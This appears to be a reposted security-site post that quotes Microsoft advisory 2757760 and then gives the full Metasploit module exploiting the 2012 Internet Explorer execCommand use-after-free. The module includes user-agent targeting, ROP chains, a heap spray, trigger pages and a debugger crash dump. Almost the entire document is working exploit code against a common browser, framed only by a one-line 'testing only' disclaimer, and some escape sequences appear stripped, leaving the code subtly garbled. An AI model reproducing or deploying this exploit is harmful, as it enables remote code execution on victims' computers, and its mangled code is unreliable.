微软已于今日发布确认公告:

Sep 17th, 2012 - Microsoft releases advisory 2757760:

http://technet.microsoft.com/en-us/security/advisory/2757760
Exploit(仅用于漏洞验证测试,禁止非法使用

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

 

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "7.0",

:ua_maxver => "9.0",

:javascript => true,

:rank => GoodRanking

})

 

def initialize(info={})

super(update_info(info,

'Name' => "Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",

'Description' => %q{

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When

rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,

but the same memory is reused again later in the CMshtmlEd::Exec() function, leading

to a use-after-free condition. Please note that this vulnerability has

been exploited in the wild since Sep 14 2012, and there is currently no official

patch for it.

},

'License' => MSF_LICENSE,

'Author' =>

[

'unknown', # Some secret ninja

'eromang', # First public discovery

'binjo',

'sinn3r', # Metasploit

'juan vazquez' # Metasploit

],

'References' =>

[

[ 'OSVDB', '85532' ],

[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],

[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],

[ 'URL', 'http://metasploit.com' ]

],

'Payload' =>

{

'PrependEncoder' => "x81xc4x54xf2xffxff" # Stack adjustment # add esp, -3500

},

'DefaultOptions' =>

{

'ExitFunction' => "none",

'InitialAutoRunScript' => 'migrate -f',

},

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],

[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],

[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],

[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],

[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ]

],

'Privileged' => false,

'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang

'DefaultTarget' => 0))

end

 

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

 

if agent =~ /NT 5.1/ and agent =~ /MSIE 7/

return targets[1] #IE 7 on Windows XP SP3

elsif agent =~ /NT 5.1/ and agent =~ /MSIE 8/

return targets[2] #IE 8 on Windows XP SP3

elsif agent =~ /NT 6.0/ and agent =~ /MSIE 7/

return targets[3] #IE 7 on Windows Vista

elsif agent =~ /NT 6.0/ and agent =~ /MSIE 8/

return targets[4] #IE 8 on Windows Vista

elsif agent =~ /NT 6.1/ and agent =~ /MSIE 8/

return targets[5] #IE 8 on Windows 7

elsif agent =~ /NT 6.1/ and agent =~ /MSIE 9/

return targets[6] #IE 9 on Windows 7

else

return nil

end

end

 

def junk(n=4)

return rand_text_alpha(n).unpack("V")[0].to_i

end

 

def nop

return make_nops(4).unpack("V")[0].to_i

end

 

def get_payload(t, cli)

code = payload.encoded

 

# No rop. Just return the payload.

return code if t['Rop'].nil?

 

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

exec_size = code.length

stack_pivot = [

0x77c4e393, # RETN

0x77c4e392, # POP EAX # RETN

0x77c15ed5, # XCHG EAX, ESP # RETN

].pack("V*")

rop =

[

0x77C21891, # POP ESI # RETN

0x0c0c0c04, # ESI

0x77c4e392, # POP EAX # RETN

0x77c11120, # <- *&VirtualProtect()

0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN

junk,

0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN

0x77c4ec00, # POP EBP # RETN

0x77c35459, # ptr to 'push esp # ret'

0x77c47705, # POP EBX # RETN

exec_size, # EBX

0x77c3ea01, # POP ECX # RETN

0x77c5d000, # W pointer (lpOldProtect) (-> ecx)

0x77c46100, # POP EDI # RETN

0x77c46101, # ROP NOP (-> edi)

0x77c4d680, # POP EDX # RETN

0x00000040, # newProtect (0x40) (-> edx)

0x77c4e392, # POP EAX # RETN

nop, # NOPS (-> eax)

0x77c12df9, # PUSHAD # RETN

].pack("V*")

 

when :jre

print_status("Using JRE ROP")

exec_size = 0xffffffff - code.length + 1

if t['Random']

stack_pivot = [

0x0c0c0c0c, # 0c0c0c08

0x7c347f98, # RETN

0x7c347f97, # POP EDX # RETN

0x7c348b05 # XCHG EAX, ESP # RET

].pack("V*")

else

stack_pivot = [

0x7c347f98, # RETN

0x7c347f97, # POP EDX # RETN

0x7c348b05 # XCHG EAX, ESP # RET

].pack("V*")

end

rop =

[

0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN

exec_size, # Value to negate, will become 0x00000201 (dwSize)

0x7c347f98, # RETN (ROP NOP)

0x7c3415a2, # JMP [EAX]

0xffffffff,

0x7c376402, # skip 4 bytes

0x7c351e05, # NEG EAX # RETN

0x7c345255, # INC EBX # FPATAN # RETN

0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN

0x7c344f87, # POP EDX # RETN

0xffffffc0, # Value to negate, will become 0x00000040

0x7c351eb1, # NEG EDX # RETN

0x7c34d201, # POP ECX # RETN

0x7c38b001, # &Writable location

0x7c347f97, # POP EAX # RETN

0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]

0x7c378c81, # PUSHAD # ADD AL,0EF # RETN

0x7c345c30, # ptr to 'push esp # ret '

].pack("V*")

end

 

code = stack_pivot + rop + code

return code

end

 

# Spray published by corelanc0d3r

# Exploit writing tutorial part 11 : Heap Spraying Demystified

# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

def get_random_spray(t, js_code, js_nops)

 

spray = <<-JS

 

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

 

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

 

var heap_obj = new heapLib.ie(0x10000);

 

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

 

while (nops.length < 0x80000) nops += nops;

 

var offset_length = #{t['Offset']};

 

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length);

var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

 

JS

 

return spray

end

 

def get_spray(t, js_code, js_nops)

js = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

 

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

 

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

 

heap_obj.gc();

 

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

 

var overflow = nops.substring(0, 10);

JS

end

 

def load_html1(cli, my_target)

p = get_payload(my_target, cli)

 

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape("x0c"*4, Rex::Arch.endian(my_target.arch))

js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

 

if my_target['Random']

js = get_random_spray(my_target, js_code, js_r_nops)

else

js = get_spray(my_target, js_code, js_nops)

end

 

js = heaplib(js, {:noobfu => true})

 

html = <<-EOS

<html>

<body>

<script>

var arrr = new Array();

arrr[0] = window.document.createElement("img");

arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";

</script>

 

<iframe src="#{this_resource}/#{@html2_name}"></iframe>

<script>

#{js}

</script>

</body>

</html>

EOS

 

return html

end

 

def load_html2

html = %Q|

<HTML>

<script>

function funcB() {

document.execCommand("selectAll");

};

 

function funcA() {

document.write("#{Rex::Text.rand_text_alpha(1)}");

parent.arrr[0].src = "YMjfu0c08u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";

}

 

</script>

<body onload='funcB();' onselect='funcA()'>

<div contenteditable='true'>

a

</div>

</body>

</HTML>

|

 

return html

end

 

def this_resource

r = get_resource

return ( r == '/') ? '' : r

end

 

def on_request_uri(cli, request)

print_status request.headers['User-Agent']

agent = request.headers['User-Agent']

my_target = get_target(agent)

 

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("Browser not supported, sending a 404: #{agent.to_s}")

send_not_found(cli)

return

end

 

vprint_status("Requesting: #{request.uri}")

 

if request.uri =~ /#{@html2_name}/

print_status("Loading #{@html2_name}")

html = load_html2

elsif request.uri =~ /#{@html1_name}/

print_status("Loading #{@html1_name}")

html = load_html1(cli, my_target)

elsif request.uri =~ //$/ or request.uri =~ /#{this_resource}$/

print_status("Redirecting to #{@html1_name}")

send_redirect(cli, "#{this_resource}/#{@html1_name}")

return

else

send_not_found(cli)

return

end

 

html = html.gsub(/^tt/, '')

 

send_response(cli, html, {'Content-Type'=>'text/html'})

 

end

 

def exploit

@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"

@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"

super

end

 

end

 

=begin

0:008> r

eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08

eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

mshtml!CMshtmlEd::Exec+0x134:

637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????

 

0:008> u

mshtml!CMshtmlEd::Exec+0x134:

637d464e 8b07 mov eax,dword ptr [edi]

637d4650 57 push edi

637d4651 ff5008 call dword ptr [eax+8]

 

0:008> k

ChildEBP RetAddr

020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134

020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6

020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91

020bc298 638ee2a9 mshtml!CDocument::Exec+0x24

020bc2c0 638b167b mshtml!CBase::execCommand+0x50

020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93

020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149

020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1

020bc410 63643832 mshtml!CBase::InvokeEx+0x25

020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b

020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1

020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20

020bc520 633a6d37 mshtml!PlainInvokeEx+0xea

020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8

020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a

020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98

020bc690 633a77ff jscript!VAR::InvokeByName+0x135

020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a

020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce

020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989

=end